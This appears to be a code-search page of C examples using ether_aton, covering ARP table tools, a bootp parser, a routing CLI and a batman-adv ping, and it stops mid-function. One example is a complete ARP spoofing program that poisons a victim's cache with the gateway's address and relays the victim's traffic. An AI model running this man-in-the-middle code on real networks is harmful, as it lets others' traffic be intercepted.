	struct ether_addr *macaddr;
	int ret = 1;

	switch (c) {
	case MANGLE_IPS:
/*
		if (e->arp.arpln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no pln defined");

		if (e->arp.invflags & ARPT_INV_ARPPLN)
			exit_error(PARAMETER_PROBLEM,
				   "! pln not allowed for --mangle-ip-s");
*/
/*
		if (e->arp.arpln != 4)
			exit_error(PARAMETER_PROBLEM, "only pln=4 supported");
*/
		{
			unsigned int nr;
			ipaddr = parse_hostnetwork(argv[optind-1], &nr);
		}
		mangle->u_s.src_ip.s_addr = ipaddr->s_addr;
		free(ipaddr);
		mangle->flags |= ARPT_MANGLE_SIP;
		break;
	case MANGLE_IPT:
/*
		if (e->arp.arpln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no pln defined");

		if (e->arp.invflags & ARPT_INV_ARPPLN)
			exit_error(PARAMETER_PROBLEM,
				   "! pln not allowed for --mangle-ip-d");
*/
/*
		if (e->arp.arpln != 4)
			exit_error(PARAMETER_PROBLEM, "only pln=4 supported");
*/
		{
			unsigned int nr;
			ipaddr = parse_hostnetwork(argv[optind-1], &nr);
		}
		mangle->u_t.tgt_ip.s_addr = ipaddr->s_addr;
		free(ipaddr);
		mangle->flags |= ARPT_MANGLE_TIP;
		break;
	case MANGLE_DEVS:
		if (e->arp.arhln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no --h-length defined");
		if (e->arp.invflags & ARPT_INV_ARPHLN)
			exit_error(PARAMETER_PROBLEM,
				   "! --h-length not allowed for "
				   "--mangle-mac-s");
		if (e->arp.arhln != 6)
			exit_error(PARAMETER_PROBLEM, "only --h-length 6 "
						      "supported");
		macaddr = ether_aton(argv[optind-1]);
		if (macaddr == NULL)
			exit_error(PARAMETER_PROBLEM, "invalid source MAC");
		memcpy(mangle->src_devaddr, macaddr, e->arp.arhln);
		mangle->flags |= ARPT_MANGLE_SDEV;
		break;
	case MANGLE_DEVT:
		if (e->arp.arhln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no --h-length defined");
		if (e->arp.invflags & ARPT_INV_ARPHLN)
			exit_error(PARAMETER_PROBLEM,
				   "! hln not allowed for --mangle-mac-d");
		if (e->arp.arhln != 6)
			exit_error(PARAMETER_PROBLEM, "only --h-length 6 "
						      "supported");
		macaddr = ether_aton(argv[optind-1]);
		if (macaddr == NULL)
			exit_error(PARAMETER_PROBLEM, "invalid target MAC");
		memcpy(mangle->tgt_devaddr, macaddr, e->arp.arhln);
		mangle->flags |= ARPT_MANGLE_TDEV;
		break;
	case MANGLE_TARGET:
		if (!strcmp(argv[optind-1], "DROP"))
			mangle->target = NF_DROP;
		else if (!strcmp(argv[optind-1], "ACCEPT"))
			mangle->target = NF_ACCEPT;
		else if (!strcmp(argv[optind-1], "CONTINUE"))
			mangle->target = ARPT_CONTINUE;
		else
			exit_error(PARAMETER_PROBLEM, "bad target for "
						      "--mangle-target");
		break;
	default:
		ret = 0;
	}

	return ret;
}
Example #17
0
bool TNlLink::ValidMacAddr(const std::string &hw) {
    return ether_aton(hw.c_str()) != nullptr;
}
Example #18
0
static struct bootpent *
extract_bootp(XDR *xdr)
{
	struct bootpent *b;
	struct ether_addr *e;
	int i, j, nvals, nkeys, status;
	char *key, **vals;

	if (xdr == NULL) return NULL;

	if (!xdr_int(xdr, &nkeys)) return NULL;

	b = (struct bootpent *)calloc(1, sizeof(struct bootpent));

	for (i = 0; i < nkeys; i++)
	{
		key = NULL;
		vals = NULL;
		nvals = 0;

		status = _lu_xdr_attribute(xdr, &key, &vals, &nvals);
		if (status < 0)
		{
			free_bootp(b);
			return NULL;
		}

		if (nvals == 0)
		{
			free(key);
			continue;
		}

		j = 0;

		if ((b->b_name == NULL) && (!strcmp("name", key)))
		{
			b->b_name = vals[0];
			j = 1;
		}
		if ((b->b_name == NULL) && (!strcmp("bootfile", key)))
		{
			b->b_bootfile = vals[0];
			j = 1;
		}
		else if (!strcmp("ip_address", key))
		{
			b->b_ipaddr.s_addr = inet_addr(vals[0]);
		}
		else if (!strcmp("en_address", key))
		{
			pthread_mutex_lock(&_bootp_lock);
			e = ether_aton(vals[0]);
			if (e != NULL) memcpy(&(b->b_enaddr), e, sizeof(struct ether_addr));
			pthread_mutex_unlock(&_bootp_lock);
			j = 1;
		}

		free(key);
		if (vals != NULL)
		{
			for (; j < nvals; j++) free(vals[j]);
			free(vals);
		}
	}

	if (b->b_name == NULL) b->b_name = strdup("");
	if (b->b_bootfile == NULL) b->b_bootfile = strdup("");

	return b;
}
Example #19
0
/*
 * Set an individual arp entry
 */
int
set(int argc, char *argv[])
{
	struct sockaddr_inarp *sin;
	struct sockaddr_dl *sdl;
	struct rt_msghdr *rtm;
	char *eaddr = argv[1], *host = argv[0];
	struct ether_addr *ea;

	sin = &sin_m;
	rtm = &(m_rtmsg.m_rtm);

	getsocket();
	argc -= 2;
	argv += 2;
	sdl_m = blank_sdl;		/* struct copy */
	sin_m = blank_sin;		/* struct copy */
	if (getinetaddr(host, &sin->sin_addr) == -1)
		return (1);
	ea = ether_aton(eaddr);
	if (ea == NULL)
		errx(1, "invalid ethernet address: %s", eaddr);
	memcpy(LLADDR(&sdl_m), ea, sizeof(*ea));
	sdl_m.sdl_alen = 6;
	expire_time = 0;
	doing_proxy = flags = export_only = 0;
	while (argc-- > 0) {
		if (strncmp(argv[0], "temp", 4) == 0) {
			struct timeval now;

			gettimeofday(&now, 0);
			expire_time = now.tv_sec + 20 * 60;
			if (flags & RTF_PERMANENT_ARP) {
				/* temp or permanent, not both */
				usage();
				return (0);
			}
		} else if (strncmp(argv[0], "pub", 3) == 0) {
			flags |= RTF_ANNOUNCE;
			doing_proxy = SIN_PROXY;
		} else if (strncmp(argv[0], "permanent", 9) == 0) {
			flags |= RTF_PERMANENT_ARP;
			if (expire_time != 0) {
				/* temp or permanent, not both */
				usage();
				return (0);
			}
		}

		argv++;
	}

tryagain:
	if (rtget(&sin, &sdl)) {
		warn("%s", host);
		return (1);
	}

	if (sin->sin_addr.s_addr == sin_m.sin_addr.s_addr) {
		if (sdl->sdl_family == AF_LINK &&
		    (rtm->rtm_flags & RTF_LLINFO) &&
		    !(rtm->rtm_flags & RTF_GATEWAY))
			switch (sdl->sdl_type) {
			case IFT_ETHER:
			case IFT_FDDI:
			case IFT_ISO88023:
			case IFT_ISO88024:
			case IFT_ISO88025:
			case IFT_CARP:
				goto overwrite;
			}

		if (doing_proxy == 0) {
			printf("set: can only proxy for %s\n", host);
			return (1);
		}
		if (sin_m.sin_other & SIN_PROXY) {
			printf("set: proxy entry exists for non 802 device\n");
			return (1);
		}
		sin_m.sin_other = SIN_PROXY;
		export_only = 1;
		goto tryagain;
	}

overwrite:
	if (sdl->sdl_family != AF_LINK) {
		printf("cannot intuit interface index and type for %s\n", host);
		return (1);
	}
	sdl_m.sdl_type = sdl->sdl_type;
	sdl_m.sdl_index = sdl->sdl_index;
	return (rtmsg(RTM_ADD));
}
Example #20
0
static void
parse_long_opts(int ind, char *opt_arg)
{
    int errno;
    struct ether_addr *mac;

    errno = 0;
    switch(ind) {
        case CMD_OPT_IND:
            cmd_usage();
        case HLP_OPT_IND:
            usage();
        case GET_OPT_IND:
        case CRT_OPT_IND:
        case DEL_OPT_IND:
            nh_id = strtoul(opt_arg, NULL, 0);
            if (errno)
                usage();
            nh_set = 1;
            break;
        case OIF_OPT_IND:
            if_id = strtoul(opt_arg, NULL, 0);
            if (errno) 
                usage();
            break;
        case SMAC_OPT_IND:
            mac = ether_aton(opt_arg);
            if (mac)
                memcpy(src_mac, mac, sizeof(src_mac));
            else
                cmd_usage();
            break;
        case DMAC_OPT_IND:
            mac = ether_aton(opt_arg);
            if (mac)
                memcpy(dst_mac, mac, sizeof(dst_mac));
            else
                cmd_usage();
            break;
        case VRF_OPT_IND:
            vrf_id = strtoul(opt_arg, NULL, 0);
            if (errno) 
                usage();
            break;
        case TYPE_OPT_IND:
            type = strtoul(opt_arg, NULL, 0);
            if (errno) 
                usage();
            break;
        case SIP_OPT_IND:
            inet_aton(opt_arg, &sip);
            break;
        case DIP_OPT_IND:
            inet_aton(opt_arg, &dip);
            break;
        case SPORT_OPT_IND:
            sport = strtoul(opt_arg, NULL, 0);
            if (errno) 
                usage();
            break;
        case CNI_OPT_IND:
            comp_nh[comp_nh_ind++] = strtoul(opt_arg, NULL, 0);
            if (errno)
                usage();
            break;
        case LBL_OPT_IND:
            lbl[lbl_ind++] = strtoul(opt_arg, NULL, 0);
            if (errno)
                usage();
        case DPORT_OPT_IND:
            dport = strtoul(opt_arg, NULL, 0);
            if (errno) 
                usage();
    }
}
Example #21
0
/*
 * arp_request()
 *
 *   Returns: 0 on success, < 0 on error
 *
 * Inject an arp request to the address given.
 *
 * setsrcipmac() must be called once before using this function
 * to set the ip and mac.
 *
 *   setsrcipmac();
 *   arp_request(pcap_handle, "192.168.2.1");
 */
int arp_request(pcap_t* pcap_handle, char* ipaddr_str) {

	const size_t sizeof_buf = ETHER_HDR_LEN + sizeof(struct ether_arp);
	u_char packet_data[sizeof_buf];
	struct ether_header *ethhdr = NULL;
	struct ether_arp *ether_arp = NULL;
	struct ether_addr *ethaddr = NULL;

	ethhdr = (struct ether_header *) packet_data;
	ether_arp = (struct ether_arp *) (packet_data + ETHER_HDR_LEN);

	//
	// Configure Ethernet header
	//

	// destination MAC address
	ethaddr = ether_aton(MAC_BCAST);  // broadcast
	if (NULL == ethaddr) {
		fprintf(stderr, "Invalid Ethernet destination address.\n");
		return -1;
	}
	memcpy(&ethhdr->ether_dhost, ethaddr, ETH_ALEN);

	// source MAC address
	ethaddr = ether_aton(src_mac);  // our MAC
	if (NULL == ethaddr) {
		fprintf(stderr, "Invalid Ethernet source address.\n");
		return -2;
	}
	memcpy(&ethhdr->ether_shost, ethaddr, ETH_ALEN);

	// type
	ethhdr->ether_type = htons(ETHERTYPE_ARP);

	//
	// configure ARP header
	//

	// hardware type
	ether_arp->arp_hrd = htons(ARPHRD_ETHER);

	// protocol type
	ether_arp->arp_pro = htons(ETHERTYPE_IP);

	// hardware address length
	ether_arp->arp_hln = ETH_ALEN;

	// protocol address length
	ether_arp->arp_pln = ARP_PROLEN;

	// operation
	ether_arp->arp_op = htons(ARPOP_REQUEST);

	// sender (our) hardware (MAC) address
	ethaddr = ether_aton(src_mac);
	if (NULL == ethaddr) {
		fprintf(stderr, "Invalid target hardware address.\n");
		return -3;
	}
	memcpy(&ether_arp->arp_sha, ethaddr, ETH_ALEN);

	// sender (our) protocol (IP) address
	inet_pton(AF_INET, src_ip, &ether_arp->arp_spa);

	// target hardware (MAC) address
	ethaddr = ether_aton(MAC_ANY);
	if (NULL == ethaddr) {
		fprintf(stderr, "Invalid target hardware address.\n");
		return -4;
	}
	memcpy(&ether_arp->arp_tha, ethaddr, ETH_ALEN);

	// target protocol (IP) address
	inet_pton(AF_INET, ipaddr_str, &ether_arp->arp_tpa);

	// send the ARP packet
	pcap_inject(pcap_handle, (void *) packet_data, sizeof_buf);

	return 0;
}
Example #22
0
int main(int argc, char* argv[]) {
  libnet_t *l;  /* libnet context */
  char errbuf[LIBNET_ERRBUF_SIZE];
  u_int32_t ip_addr;
  struct libnet_ether_addr *mac_addr;
  l = libnet_init(LIBNET_RAW4, NULL, errbuf);

  uint8_t *dst_mac, *ether_frame;
  int sd, sd2, sd3, frame_length, bytes;
  uint8_t *ether_frame2;
  struct sockaddr_ll device;

  arp_hdr arphdr_send;
  arp_hdr *arphdr_receive;
  ether_frame = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  ether_frame2 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  memset(ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));

  char buff[1024];
  char buff2[1024];
  int count = 0;
  pthread_t p_thread[2];
  int thr_id, thr_id2;
  char str[256];

  /* get gateway address  */
  FILE *in = popen("route", "r");
  for (int i = 0; i < 3; i++) {
    fgets(buff, sizeof(buff), in);
  }
  while (buff[count] != ' ') count++;
  while (buff[count] == ' ') count++;
  inet_aton(buff + count, &gw_ip_addr);
  printf("\n [+]Gateway IP Adress : %s\n", inet_ntoa(gw_ip_addr));
  pclose(in);
/*
  Address                  HWtype  HWaddress           Flags Mask            Iface
  192.168.230.2            ether   00:50:56:f4:44:1d   C                     ens33
*/
  sprintf(str, "arp %s",inet_ntoa(gw_ip_addr));
  FILE *in2 = popen(str, "r");
  count=0;
  fgets(buff2, sizeof(buff2), in);
  fgets(buff2, sizeof(buff2), in);
  while (buff2[count] != ' ') count++;
  while (buff2[count] == ' ') count++;
  while (buff2[count] != ' ') count++;
  while (buff2[count] == ' ') count++;
  gw_mac_addr=ether_aton(buff2 + count);
  pclose(in2);
  printf("\n [+]PRINT REQUEST_PACKET\n");
  struct in_addr target_ip_addr;
  inet_aton(argv[1], &target_ip_addr);
  printf("target IP Adress : %s\n", inet_ntoa(target_ip_addr));

  ///////////////////// 0.get my attacker's mac , ip ////////////////////////////////

  if (l == NULL) {
    fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(EXIT_FAILURE);
  }

  /* get ip address  */
  ip_addr = libnet_get_ipaddr4(l);
  if (ip_addr != 0xff)
    printf("Src IP address: %s\n", libnet_addr2name4(ip_addr, \
      LIBNET_DONT_RESOLVE));
  else
    fprintf(stderr, "Couldn't get own IP address: %s\n", \
      libnet_geterror(l));
  /* get mac address  */
  mac_addr = libnet_get_hwaddr(l);
  if (mac_addr != NULL)
    printf("Src MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", \
      mac_addr->ether_addr_octet[0], \
      mac_addr->ether_addr_octet[1], \
      mac_addr->ether_addr_octet[2], \
      mac_addr->ether_addr_octet[3], \
      mac_addr->ether_addr_octet[4], \
      mac_addr->ether_addr_octet[5]);
  else
    fprintf(stderr, "Couldn't get own MAC address: %s\n", \
      libnet_geterror(l));
  libnet_destroy(l);

  // Submit request for a raw socket descriptor.
  if ((sd2 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }
  // Listen for incoming ethernet frame from socket sd.
  // We expect an ARP ethernet frame of the form:
  //     MAC (6 bytes) + MAC (6 bytes) + ethernet type (2 bytes)
  //     + ethernet data (ARP header) (28 bytes)
  // Keep at it until we get an ARP reply.
  arphdr_receive = (arp_hdr *)(ether_frame2 + LIBNET_ETH_H);

  /////////////////////// 1. send REQUEST packet  ////////////////////////////

  // ARP header (request)

  // Hardware type (16 bits): 1 for ethernet
  // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arphdr_send.htype = htons(ARPHRD_ETHER);

  // Protocol type (16 bits): 2048 for IP
  arphdr_send.ptype = htons(ETHERTYPE_IP);


  // Hardware address length (8 bits): 6 bytes for MAC address
  arphdr_send.hlen = 6;

  // Protocol address length (8 bits): 4 bytes for IPv4 address
  arphdr_send.plen = 4;

  // OpCode: 1 for ARP request
  arphdr_send.opcode = htons(ARPOP_REQUEST);

  // Sender hardware address (48 bits): MAC address
  memcpy(&arphdr_send.sender_mac, mac_addr, 6 * sizeof(uint8_t));

  // Sender protocol address (32 bits)

  memcpy(&arphdr_send.sender_ip, &ip_addr, 4 * sizeof(uint8_t));

  // See getaddrinfo() resolution of src_ip;.

  // Target hardware address (48 bits): zero, since we don't know it yet.
  memset(&arphdr_send.target_mac, 0, 6 * sizeof(uint8_t));

  // Target protocol address (32 bits)
  memcpy(&arphdr_send.target_ip, &target_ip_addr, 4 * sizeof(uint8_t));

  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H;

  // Set destination MAC address: broadcast address
  dst_mac = (uint8_t *)malloc(6 * sizeof(uint8_t));
  memset(dst_mac, 0xff, 6 * sizeof(uint8_t));

  // Destination and Source MAC addresses
  memcpy(ether_frame, dst_mac, 6 * sizeof(uint8_t));
  memcpy(ether_frame + 6, mac_addr->ether_addr_octet, 6 * sizeof(uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).

  ether_frame[12] = ETHERTYPE_ARP / 256;
  ether_frame[13] = ETHERTYPE_ARP % 256;

  // Next is ethernet frame data (ARP header).

  // ARP header
  memcpy(ether_frame + LIBNET_ETH_H, &arphdr_send, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t));
  // Submit request for a raw socket descriptor.
  if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }

  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset(&device, 0, sizeof(device));
  if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) {
    perror("if_nametoindex() failed to obtain interface index ");
    exit(EXIT_FAILURE);
  }
  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t));
  device.sll_halen = 6;

  // Send ethernet frame to socket.
  if ((bytes = sendto(sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof(device))) <= 0) {
    perror("sendto() failed");
    exit(EXIT_FAILURE);
  }

  ///////////////////////////// 2. receive packet  ///////////////////////

  while (((((ether_frame2[12]) << 8) + ether_frame2[13]) != ETH_P_ARP) || (ntohs(arphdr_receive->opcode) != ARPOP_REPLY)) {
    if ((recv(sd2, ether_frame2, IP_MAXPACKET, 0)) < 0) {
      if (errno == EINTR) {
        memset(ether_frame2, 0, IP_MAXPACKET * sizeof(uint8_t));
        continue;
      }
      else {
        perror("recv() failed:");
        exit(EXIT_FAILURE);
      }
    }
  }
  ////////////////// print received packet ///////////////////

  // Print out contents of received ethernet frame.
  printf("\n [+]PRINT REPLY_PACKET");
  printf("\nEthernet frame header:\n");
  printf("Destination MAC (this node): ");
  int i = 0;
  for (i = 0; i < 5; i++) {
    printf("%02x:", ether_frame2[i]);
  }
  printf("%02x\n", ether_frame2[5]);
  printf("Source MAC: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", ether_frame2[i + 6]);
  }
  printf("%02x\n", ether_frame2[11]);
  // Next is ethernet type code (ETH_P_ARP for ARP).
  printf("Ethernet type code (2054 = ARP): %u\n", ((ether_frame2[12]) << 8) + ether_frame2[13]);
  printf("Ethernet data (ARP header):\n");
  printf("Hardware type (1 = ethernet (10 Mb)): %u\n", ntohs(arphdr_receive->htype));
  printf("Protocol type (2048 for IPv4 addresses): %u\n", ntohs(arphdr_receive->ptype));
  printf("Hardware (MAC) address length (bytes): %u\n", arphdr_receive->hlen);
  printf("Protocol (IPv4) address length (bytes): %u\n", arphdr_receive->plen);
  printf("Opcode (2 = ARP reply): %u\n", ntohs(arphdr_receive->opcode));
  printf("Sender hardware (MAC) address: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", arphdr_receive->sender_mac[i]);
  }
  printf("%02x\n", arphdr_receive->sender_mac[5]);
  printf("Sender protocol (IPv4) address: %u.%u.%u.%u\n",
    arphdr_receive->sender_ip[0], arphdr_receive->sender_ip[1], arphdr_receive->sender_ip[2], arphdr_receive->sender_ip[3]);
  printf("Target hardware (MAC) address: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", arphdr_receive->target_mac[i]);
  }
  printf("%02x\n", arphdr_receive->target_mac[5]);
  printf("Target protocol (IPv4) address: %u.%u.%u.%u\n",
    arphdr_receive->target_ip[0], arphdr_receive->target_ip[1], arphdr_receive->target_ip[2], arphdr_receive->target_ip[3]);
  printf("\n");

  ////////////////////// 3.send spoofing packet    /////////////////////////////////////

  arp_hdr arphdr_spoof;
  uint8_t *ether_frame3;
  ether_frame3 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  memset(ether_frame3, 0, IP_MAXPACKET * sizeof(uint8_t));

  // ARP header (request)
  // target mac = victim
  // sender mac = attacker
  // target ip = victim
  // sender ip = gateway
  // dst mac = victim mac
  // src mac = attacter mac


  // Hardware type (16 bits): 1 for ethernet
  // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arphdr_spoof.htype = htons(ARPHRD_ETHER);

  // Protocol type (16 bits): 2048 for IP
  arphdr_spoof.ptype = htons(ETHERTYPE_IP);


  // Hardware address length (8 bits): 6 bytes for MAC address
  arphdr_spoof.hlen = 6;

  // Protocol address length (8 bits): 4 bytes for IPv4 address
  arphdr_spoof.plen = 4;


  // OpCode: 1 for ARP request
  arphdr_spoof.opcode = htons(ARPOP_REPLY);

  // Sender hardware address (48 bits): MAC address
  memcpy(&arphdr_spoof.sender_mac, &arphdr_send.sender_mac, 6 * sizeof(uint8_t));

  // Sender protocol address (32 bits) : gateway address
  memcpy(arphdr_spoof.sender_ip, &gw_ip_addr, 4 * sizeof(uint8_t));

  // See getaddrinfo() resolution of src_ip;.

  // Target hardware address (48 bits): victim address
  memcpy(&arphdr_spoof.target_mac, arphdr_receive->sender_mac  , 6 * sizeof(uint8_t) );

  // Target protocol address (32 bits)
  memcpy(&arphdr_spoof.target_ip, &arphdr_send.target_ip, 4 * sizeof(uint8_t));


  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H;

  // Set destination MAC address: broadcast address
  uint8_t *dst_mac_spf;
  dst_mac_spf = (uint8_t *)malloc(6 * sizeof(uint8_t));
  memcpy(dst_mac_spf, arphdr_receive->sender_mac, 6 * sizeof(uint8_t));

  // Destination and Source MAC addresses
  memcpy(ether_frame3, arphdr_receive->sender_mac, 6 * sizeof(uint8_t));
  memcpy(ether_frame3 + 6, arphdr_receive->target_mac, 6 * sizeof(uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).
  // http://www.iana.org/assignments/ethernet-numbers
  ether_frame3[12] = ETHERTYPE_ARP / 256;
  ether_frame3[13] = ETHERTYPE_ARP % 256;

  // Next is ethernet frame data (ARP header).

  // ARP header
  memcpy(ether_frame3 + LIBNET_ETH_H, &arphdr_spoof, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t));
  // Submit request for a raw socket descriptor.
  if ((sd3 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }

  // Find interface index from interface name and store index in
  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset(&device, 0, sizeof(device));
  if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) {
    perror("if_nametoindex() failed to obtain interface index ");
    exit(EXIT_FAILURE);
  }
  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t));
  device.sll_halen = 6;

  printf("\n [+]SEND SPOOFING PACKET  \n");
  char *mac_buff;
  mac_buff = (char *)malloc(17 * sizeof(char));

  //Parameter param;
  spoof_P.sd = sd3;
  spoof_P.ether_frame = ether_frame3;
  spoof_P.frame_length = frame_length;
  spoof_P.device = device;

  arp_hdr pk;
  pk.htype = htons(ARPHRD_ETHER);
  pk.ptype = htons(ETHERTYPE_IP);
  pk.hlen = 6; //6 bytes for MAC address
  pk.plen = 4; //4 bytes for IPv4 address
  pk.opcode=htons(ARPOP_REQUEST);
  memcpy(pk.sender_mac, arphdr_spoof.target_mac, 6 * sizeof(uint8_t));
  memcpy(pk.sender_ip, arphdr_spoof.target_ip, 4 * sizeof(uint8_t));
  memcpy(pk.target_mac, arphdr_spoof.sender_mac, 6 * sizeof(uint8_t));
  memcpy(pk.target_ip, arphdr_spoof.sender_ip, 4 * sizeof(uint8_t));
  thr_id = pthread_create(&p_thread[0], NULL, send_packet, (void *)&spoof_P); //send infected packet
  thr_id2 = pthread_create(&p_thread[1], NULL, relay_packet, (void *)&pk); // relay infected packet

  pthread_join(p_thread[0],NULL);
  pthread_join(p_thread[1],NULL);
  free(mac_buff);
  free(dst_mac);
  free(ether_frame);
  free(ether_frame2);
  close(sd);
  close(sd2);

  close(sd3);

  return (EXIT_SUCCESS);
}
Example #23
0
int ping(char *mesh_iface, int argc, char **argv)
{
	struct icmp_packet_rr icmp_packet_out, icmp_packet_in;
	struct timeval tv;
	struct ether_addr *dst_mac = NULL, *rr_mac = NULL;
	struct bat_host *bat_host, *rr_host;
	ssize_t read_len;
	fd_set read_socket;
	int ret = EXIT_FAILURE, ping_fd = 0, res, optchar, found_args = 1;
	int loop_count = -1, loop_interval = 0, timeout = 1, rr = 0, i;
	unsigned int seq_counter = 0, packets_out = 0, packets_in = 0, packets_loss;
	char *dst_string, *mac_string, *rr_string;
	double time_delta;
	float min = 0.0, max = 0.0, avg = 0.0, mdev = 0.0;
	uint8_t last_rr_cur = 0, last_rr[BAT_RR_LEN][ETH_ALEN];
	size_t packet_len;
	char *debugfs_mnt;
	char icmp_socket[MAX_PATH+1];

	while ((optchar = getopt(argc, argv, "hc:i:t:R")) != -1) {
		switch (optchar) {
		case 'c':
			loop_count = strtol(optarg, NULL , 10);
			if (loop_count < 1)
				loop_count = -1;
			found_args += ((*((char*)(optarg - 1)) == optchar ) ? 1 : 2);
			break;
		case 'h':
			ping_usage();
			return EXIT_SUCCESS;
		case 'i':
			loop_interval = strtol(optarg, NULL , 10);
			if (loop_interval < 1)
				loop_interval = 1;
			found_args += ((*((char*)(optarg - 1)) == optchar ) ? 1 : 2);
			break;
		case 't':
			timeout = strtol(optarg, NULL , 10);
			if (timeout < 1)
				timeout = 1;
			found_args += ((*((char*)(optarg - 1)) == optchar ) ? 1 : 2);
			break;
		case 'R':
			rr = 1;
			found_args++;
			break;
		default:
			ping_usage();
			return EXIT_FAILURE;
		}
	}

	if (argc <= found_args) {
		printf("Error - target mac address or bat-host name not specified\n");
		ping_usage();
		return EXIT_FAILURE;
	}

	dst_string = argv[found_args];
	bat_hosts_init(0);
	bat_host = bat_hosts_find_by_name(dst_string);

	if (bat_host)
		dst_mac = &bat_host->mac_addr;

	if (!dst_mac) {
		dst_mac = ether_aton(dst_string);

		if (!dst_mac) {
			printf("Error - the ping destination is not a mac address or bat-host name: %s\n", dst_string);
			goto out;
		}
	}

	mac_string = ether_ntoa_long(dst_mac);
	signal(SIGINT, sig_handler);
	signal(SIGTERM, sig_handler);

	debugfs_mnt = debugfs_mount(NULL);
	if (!debugfs_mnt) {
		printf("Error - can't mount or find debugfs\n");
		goto out;
	}

	debugfs_make_path(SOCKET_PATH_FMT, mesh_iface, icmp_socket, sizeof(icmp_socket));

	ping_fd = open(icmp_socket, O_RDWR);

	if (ping_fd < 0) {
		printf("Error - can't open a connection to the batman adv kernel module via the socket '%s': %s\n",
				icmp_socket, strerror(errno));
		printf("Check whether the module is loaded and active.\n");
		goto out;
	}

	packet_len = sizeof(struct icmp_packet);

	memcpy(&icmp_packet_out.dst, dst_mac, ETH_ALEN);
	icmp_packet_out.packet_type = BAT_ICMP;
	icmp_packet_out.version = COMPAT_VERSION;
	icmp_packet_out.msg_type = ECHO_REQUEST;
	icmp_packet_out.ttl = 50;
	icmp_packet_out.seqno = 0;

	if (rr) {
		packet_len = sizeof(struct icmp_packet_rr);
		icmp_packet_out.rr_cur = 1;
		memset(&icmp_packet_out.rr, 0, BAT_RR_LEN * ETH_ALEN);
		memset(last_rr, 0, BAT_RR_LEN * ETH_ALEN);
	}

	printf("PING %s (%s) %zu(%zu) bytes of data\n", dst_string, mac_string,
		packet_len, packet_len + 28);

	while (!is_aborted) {
		tv.tv_sec = timeout;
		tv.tv_usec = 0;

		if (loop_count == 0)
			break;

		if (loop_count > 0)
			loop_count--;

		icmp_packet_out.seqno = htons(++seq_counter);

		if (write(ping_fd, (char *)&icmp_packet_out, packet_len) < 0) {
			printf("Error - can't write to batman adv kernel file '%s': %s\n", icmp_socket, strerror(errno));
			goto sleep;
		}

		start_timer();

		FD_ZERO(&read_socket);
		FD_SET(ping_fd, &read_socket);

		res = select(ping_fd + 1, &read_socket, NULL, NULL, &tv);

		if (is_aborted)
			break;

		packets_out++;

		if (res == 0) {
			printf("Reply from host %s timed out\n", dst_string);
			goto sleep;
		}

		if (res < 0)
			goto sleep;

		read_len = read(ping_fd, (char *)&icmp_packet_in, packet_len);

		if (read_len < 0) {
			printf("Error - can't read from batman adv kernel file '%s': %s\n", icmp_socket, strerror(errno));
			goto sleep;
		}

		if ((size_t)read_len < packet_len) {
			printf("Warning - dropping received packet as it is smaller than expected (%zu): %zd\n",
				packet_len, read_len);
			goto sleep;
		}

		switch (icmp_packet_in.msg_type) {
		case ECHO_REPLY:
			time_delta = end_timer();
			printf("%zd bytes from %s icmp_seq=%hu ttl=%d time=%.2f ms",
					read_len, dst_string, ntohs(icmp_packet_in.seqno),
					icmp_packet_in.ttl, time_delta);

			if (read_len == sizeof(struct icmp_packet_rr)) {
				if (last_rr_cur == icmp_packet_in.rr_cur
					&& !memcmp(last_rr, icmp_packet_in.rr, BAT_RR_LEN * ETH_ALEN)) {

					printf("\t(same route)");

				} else {
					printf("\nRR: ");

					for (i = 0; i < BAT_RR_LEN
						&& i < icmp_packet_in.rr_cur; i++) {

						rr_mac = (struct ether_addr *)&icmp_packet_in.rr[i];
						rr_host = bat_hosts_find_by_mac((char *)rr_mac);
						if (rr_host)
							rr_string = rr_host->name;
						else
							rr_string = ether_ntoa_long(rr_mac);
						printf("\t%s\n", rr_string);

						if (memcmp(rr_mac, dst_mac, ETH_ALEN) == 0)
							printf("\t%s\n", rr_string);
					}

					last_rr_cur = icmp_packet_in.rr_cur;
					memcpy(last_rr, icmp_packet_in.rr, BAT_RR_LEN * ETH_ALEN);
				}
			}

			printf("\n");

			if ((time_delta < min) || (min == 0.0))
				min = time_delta;
			if (time_delta > max)
